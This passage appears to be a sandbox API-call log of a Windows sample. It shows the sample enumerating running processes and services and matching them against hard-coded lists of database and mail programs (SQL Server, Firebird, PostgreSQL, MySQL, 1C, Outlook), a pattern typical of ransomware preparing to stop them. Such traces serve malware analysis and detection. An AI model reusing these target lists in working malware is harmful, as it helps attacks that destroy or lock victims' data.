1 [0167.598] lstrlenW (lpString="explorer.exe") returned 12 [0167.598] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0167.599] lstrlenW (lpString="3G6885.exe") returned 10 [0167.599] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0167.599] lstrlenW (lpString="reader_sl.exe") returned 13 [0167.599] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0167.599] lstrlenW (lpString="taskhost.exe") returned 12 [0167.599] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0167.600] lstrlenW (lpString="consent.exe") returned 11 [0167.600] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0167.600] lstrlenW (lpString="dllhost.exe") returned 11 [0167.600] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0167.601] lstrlenW (lpString="dllhost.exe") returned 11 [0167.601] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 1 [0167.601] lstrlenW (lpString="rundll32.exe") returned 12 [0167.601] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 0 [0167.601] CloseHandle (hObject=0x218) returned 1 [0167.601] Sleep (dwMilliseconds=0x1f4) [0168.231] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41d8d10 [0168.231] EnumServicesStatusExW (in: hSCManager=0x41d8d10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0168.231] GetLastError () returned 0xea [0168.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x11e4) returned 0x41f77d0 [0168.231] EnumServicesStatusExW (in: hSCManager=0x41d8d10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f77d0, cbBufSize=0x11e4, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f77d0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0168.232] CloseServiceHandle (hSCObject=0x41d8d10) returned 1 [0168.232] lstrlenW (lpString="Appinfo") returned 7 [0168.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0168.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0168.232] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0168.232] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0168.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0168.232] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0168.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0168.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0168.232] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0168.232] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0168.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0168.232] lstrlenW (lpString="AudioSrv") returned 8 [0168.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0168.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0168.233] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0168.233] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0168.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0168.233] lstrlenW (lpString="BFE") returned 3 [0168.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0168.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0168.233] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0168.233] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0168.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0168.233] lstrlenW (lpString="CryptSvc") returned 8 [0168.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0168.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0168.233] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0168.233] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0168.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0168.233] lstrlenW (lpString="CscService") returned 10 [0168.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0168.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0168.233] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0168.233] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0168.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0168.233] lstrlenW (lpString="DcomLaunch") returned 10 [0168.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0168.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0168.233] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0168.233] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0168.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0168.233] lstrlenW (lpString="Dhcp") returned 4 [0168.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0168.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0168.234] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0168.234] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0168.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0168.234] lstrlenW (lpString="Dnscache") returned 8 [0168.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0168.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0168.234] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0168.234] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0168.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0168.234] lstrlenW (lpString="DPS") returned 3 [0168.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0168.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0168.234] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0168.234] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0168.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0168.234] lstrlenW (lpString="eventlog") returned 8 [0168.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0168.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0168.234] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0168.234] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0168.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0168.234] lstrlenW (lpString="EventSystem") returned 11 [0168.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0168.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0168.234] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0168.234] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0168.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0168.234] lstrlenW (lpString="gpsvc") returned 5 [0168.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0168.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0168.235] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0168.235] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0168.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0168.235] lstrlenW (lpString="iphlpsvc") returned 8 [0168.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0168.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0168.235] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0168.235] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0168.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0168.235] lstrlenW (lpString="LanmanServer") returned 12 [0168.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0168.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0168.235] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0168.235] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0168.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0168.235] lstrlenW (lpString="LanmanWorkstation") returned 17 [0168.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0168.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0168.235] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0168.235] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0168.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0168.235] lstrlenW (lpString="lmhosts") returned 7 [0168.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0168.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0168.235] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0168.235] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0168.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0168.235] lstrlenW (lpString="MMCSS") returned 5 [0168.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0168.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0168.235] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0168.235] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0168.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0168.236] lstrlenW (lpString="MpsSvc") returned 6 [0168.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0168.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0168.236] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0168.236] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0168.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0168.236] lstrlenW (lpString="Netman") returned 6 [0168.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0168.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0168.236] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0168.236] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0168.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0168.236] lstrlenW (lpString="netprofm") returned 8 [0168.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0168.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0168.236] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0168.236] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0168.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0168.236] lstrlenW (lpString="NlaSvc") returned 6 [0168.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0168.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0168.236] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0168.236] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0168.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0168.236] lstrlenW (lpString="nsi") returned 3 [0168.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0168.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0168.236] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0168.236] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0168.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0168.236] lstrlenW (lpString="PcaSvc") returned 6 [0168.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0168.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0168.237] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0168.237] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0168.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0168.237] lstrlenW (lpString="PlugPlay") returned 8 [0168.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0168.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0168.237] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0168.237] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0168.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0168.237] lstrlenW (lpString="Power") returned 5 [0168.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0168.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0168.237] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0168.237] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0168.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0168.237] lstrlenW (lpString="ProfSvc") returned 7 [0168.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0168.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0168.237] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0168.237] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0168.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0168.237] lstrlenW (lpString="RpcEptMapper") returned 12 [0168.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0168.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0168.238] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0168.238] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0168.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0168.238] lstrlenW (lpString="RpcSs") returned 5 [0168.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0168.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0168.238] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0168.238] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0168.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0168.238] lstrlenW (lpString="SamSs") returned 5 [0168.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0168.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0168.238] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0168.238] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0168.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0168.238] lstrlenW (lpString="Schedule") returned 8 [0168.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0168.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0168.238] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0168.238] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0168.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0168.238] lstrlenW (lpString="SENS") returned 4 [0168.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0168.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0168.238] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0168.238] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0168.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0168.238] lstrlenW (lpString="ShellHWDetection") returned 16 [0168.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0168.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0168.239] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0168.239] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0168.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0168.239] lstrlenW (lpString="Spooler") returned 7 [0168.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0168.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0168.239] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0168.239] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0168.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0168.239] lstrlenW (lpString="SysMain") returned 7 [0168.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0168.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0168.239] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0168.239] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0168.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0168.239] lstrlenW (lpString="Themes") returned 6 [0168.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0168.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0168.239] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0168.239] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0168.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0168.239] lstrlenW (lpString="TrkWks") returned 6 [0168.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0168.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0168.239] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0168.239] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0168.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0168.239] lstrlenW (lpString="UxSms") returned 5 [0168.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0168.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0168.240] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0168.240] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0168.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0168.240] lstrlenW (lpString="WdiServiceHost") returned 14 [0168.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0168.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0168.240] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0168.240] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0168.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0168.240] lstrlenW (lpString="WdiSystemHost") returned 13 [0168.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0168.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0168.240] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0168.240] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0168.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0168.240] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0168.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0168.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0168.240] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0168.240] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0168.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0168.240] lstrlenW (lpString="Winmgmt") returned 7 [0168.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0168.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0168.240] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0168.240] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0168.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0168.240] lstrlenW (lpString="WPDBusEnum") returned 10 [0168.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0168.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0168.241] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0168.241] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0168.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0168.241] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41f77d0 | out: hHeap=0x300000) returned 1 [0168.241] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x374 [0168.243] Process32FirstW (in: hSnapshot=0x374, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0168.243] Process32NextW (in: hSnapshot=0x374, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0168.244] lstrlenW (lpString="System") returned 6 [0168.244] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0168.244] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0168.244] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0168.244] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0168.244] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0168.244] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0168.244] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0168.244] Process32NextW (in: hSnapshot=0x374, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0168.244] lstrlenW (lpString="smss.exe") returned 8 [0168.244] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0168.244] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0168.244] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0168.244] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0168.244] lstrcmpiW (lpString1="mysqld-nt.exe", 